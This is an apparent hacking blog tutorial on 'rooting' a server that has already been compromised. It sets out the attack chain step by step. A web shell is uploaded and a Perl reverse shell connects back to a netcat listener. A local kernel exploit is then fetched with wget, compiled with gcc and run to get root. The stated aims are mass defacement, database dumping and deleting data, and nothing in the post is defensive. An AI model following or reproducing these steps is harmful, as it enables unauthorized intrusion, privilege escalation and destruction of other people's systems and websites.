Servers serve the requests made by the users to the webpages, it acts as a helping hand who serves the requested meal to you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with server like delete and copy anything on server, can deface all the websites (massive deface ).
We can’t talk about root on windows. That enough for beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to got root.
How to Root a Server?
There are 3 ways to get ROOT on server :
1 – With local Root.
2 – With SQL by reading same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let’s back to work.
After Uploading your shell on server and getting the localroot you will do a back connect and run the localroot to Get root . This is a small idea how it work in the next step you will see how to
find localroot and run it to get root access .
How to Search Local root?
First of all we you need to know what version of Kernel.
You can know that from your shell, for example this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write “uname -a”. You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exists two types of local roots :
1. Local.C : which are not ready.
2. Local : ready to use.
How to get Root access?
First you need a shell with a Back Connect option like this :
Enter your “Public IP Address” in SERVER, port you want to connect on and leave it Perl this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under linux or CMD if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip
4 – chmod 777 local.c
5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local
6 – chmod 777 local
7 – ./local to local root work
8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)
Getting UID=0 means, u had got root priviledges and hence can do variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT
As server gets rooted, you’re able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.